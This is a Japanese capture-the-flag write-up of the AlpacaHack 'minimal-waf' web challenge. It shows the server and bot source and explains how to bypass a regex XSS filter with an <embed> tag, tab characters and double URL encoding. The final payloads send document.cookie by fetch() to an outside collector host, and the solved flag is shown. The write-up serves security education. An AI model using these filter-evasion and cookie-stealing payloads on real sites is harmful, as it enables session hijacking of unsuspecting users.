[web] minimal-waf (AlpacaHack Round 7) writeup

---

- Source: AlpacaHack Round 7 (web)
- Author: [ark](https://x.com/arkark_)

---

任意のhtmlを表示することができるが、`/script|src|on|html|data|&/`は使用できないらしい。

<details><summary>index.js</summary>

```js
import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
<link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css">
<body>
  <h1>HTML Viewer</h1>
  <form action="/view">
    <p><textarea name="html"></textarea></p>
    <div style="text-align: center">
      <input type="submit" value="Render">
    </div>
  </form>
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);
```

</details>

また、botの`APP_HOST`が`localhost`になっている。

<details><summary>bot.js</summary>

```js
import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "localhost"; // Note: This is not `minimal-waf`, but `localhost`!
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

// Flag format
if (!/^Alpaca{\w+}$/.test(FLAG)) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url, { timeout: 5_000 });
    await sleep(10_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};
```

</details>

ヘッダが特定の値の時だけフィルタを通さないという明らかに怪しい部分がある。なんとかしてbotから`"Sec-Fetch-Site" = "same-origin"`と`"Sec-Fetch-Dest" != "document"`を満たすリクエストを飛ばしたい。
```js
    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }
```

同一オリジンからのリクエストであれば`"Sec-Fetch-Site" = "same-origin"`になるらしいので、`<iframe>`や`<object>`を用いて（これは`"Sec-Fetch-Dest" != "document"`も満たす）XSSを発火させることができないかと考えたが、`src`属性または`data`属性が必要になるのでダメだった。

~~ギブアップ。~~ (以下、upsolve)

`<embed>`を使えば属性名に禁止ワードが含まれないので試してみる。
まず、bypassを考えずにpayloadを構築するとこのようになる。
```
http://localhost:3000/view?html=<embed type="text/html" code="/view?html=<script>fetch(`https://xxxxxxxx.m.pipedream.net?${document.cookie}`)</script>"></embed>
```

禁止ワードの`html`と`srcipt`は特殊文字`%09`（tab文字）でbypassすることができそう。

さらに、勝手にembedタグから出られると困るので、`<script>`の`<`と`>`を二重にURLエンコードして`%253c`と`%253e`に置換する。
`%253cscript%253e`がURL内にあると、最初のリクエストを処理するときに`%3cscript%3e`にデコードされて、これがembedタグのcodeに渡される。そしてembedタグの描画（self-originリクエスト）でもう一度デコードされて、`<script>`になるはず。

これらを反映させたpayloadはこうなる。
```
http://localhost:3000/view?html=<embed type="text/ht%09ml" code="/view?ht%09ml=%253cscr%09ipt%253efetch(`https://xxxxxxxx.m.pipedream.net?${document.cookie}`)%253c/scr%09ipt%253e"></embed>
```

このpayloadをbotに投げるとflagがpipedreamに飛んできた。ホスト名がlocalhostじゃないとダメなことに留意。
`Alpaca{WafWafPanic}`